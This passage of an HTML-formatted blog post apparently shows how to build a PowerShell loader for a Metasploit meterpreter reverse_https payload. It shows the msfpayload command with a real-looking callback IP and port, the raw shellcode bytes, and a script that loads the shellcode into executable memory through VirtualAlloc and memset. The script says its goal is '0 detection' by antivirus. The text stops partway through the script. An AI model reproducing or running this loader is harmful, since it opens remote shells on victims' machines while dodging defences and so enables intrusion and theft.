&quot;\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcd\x8b\x07\x01\xc3\x85&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum24&quot;&gt;  24:&lt;/span&gt; &quot;\xc0\x75\xe5\x58\xc3\xe8\x51\xff\xff\xff\x31\x37\x38\x2e\x33&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum25&quot;&gt;  25:&lt;/span&gt; &quot;\x32\x2e\x37\x32\x2e\x31\x39\x34\x00&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;converting the shellcode directly to our format:&lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; root@host:~/trunk# ./msfpayload windows/meterpreter/reverse_https LHOST=178.32.72.194 LPORT=8443 C | sed -n -e &#39;11,35p&#39; | sed &#39;s/[&quot;;]//g&#39; | sed &#39;s/\\/,0/g&#39; | tr -d &#39;\n&#39;    &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; ,0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x5a,0x62,0x69,0x37,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;and our powershell script:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;&amp;lt;&lt;/span&gt;#&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; Powershell meterpreter &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; This script will load in memory the first stage of metasploit meterpreter.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt; The second stage will be transferred and executed in memory with 0 detection from the antivirus engines.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; Author: Nicolas Krassas&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt; Initial idea from: Matthew Graeber&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt; #&lt;span style=&quot;color: #0000ff&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt;  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt; # Import required functions &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum10&quot;&gt;  10:&lt;/span&gt; $code = @&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum11&quot;&gt;  11:&lt;/span&gt; [DllImport(&quot;kernel32.dll&quot;)]&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum12&quot;&gt;  12:&lt;/span&gt; public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum13&quot;&gt;  13:&lt;/span&gt; [DllImport(&quot;kernel32.dll&quot;)]&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum14&quot;&gt;  14:&lt;/span&gt; public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum15&quot;&gt;  15:&lt;/span&gt; [DllImport(&quot;msvcrt.dll&quot;)]&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum16&quot;&gt;  16:&lt;/span&gt; public static extern IntPtr memset(IntPtr dest, uint src, uint count);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum17&quot;&gt;  17:&lt;/span&gt; &quot;@&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum18&quot;&gt;  18:&lt;/span&gt;  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum19&quot;&gt;  19:&lt;/span&gt; $winFunc = Add-Type -memberDefinition $code -Name &quot;Win32&quot; -namespace Win32Functions -passthru&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum20&quot;&gt;  20:&lt;/span&gt;  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum21&quot;&gt;  21:&lt;/span&gt; # msf meterpreter stage 1&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum22&quot;&gt;  22:&lt;/span&gt; [Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x63,0x51,0x62,0x46,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum23&quot;&gt;  23:&lt;/span&gt;  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum24&quot;&gt;  24:&lt;/span&gt; # Calculate correct size param for VirtualAlloc&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum25&quot;&gt;  25:&lt;/span&gt; $size = 0x1000&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum26&quot;&gt;  26:&lt;/span&gt; if ($sc.Length -gt 0x1000) {$size = $sc.Length}&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum27&quot;&gt;  27:&lt;/span&gt;  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum28&quot;&gt;  28:&lt;/span&gt; # Allocate memory &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum29&quot;&gt;  29:&lt;/span&gt; $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum30&quot;&gt;  30:&lt;/span&gt;  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum31&quot;&gt;  31:&lt;/span&gt;  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum32&quot;&gt;  32:&lt;/span&gt; for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum33&quot;&gt;  33:&lt;/span&gt; Try {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum34&quot;&gt;  34:&lt;/span&gt;         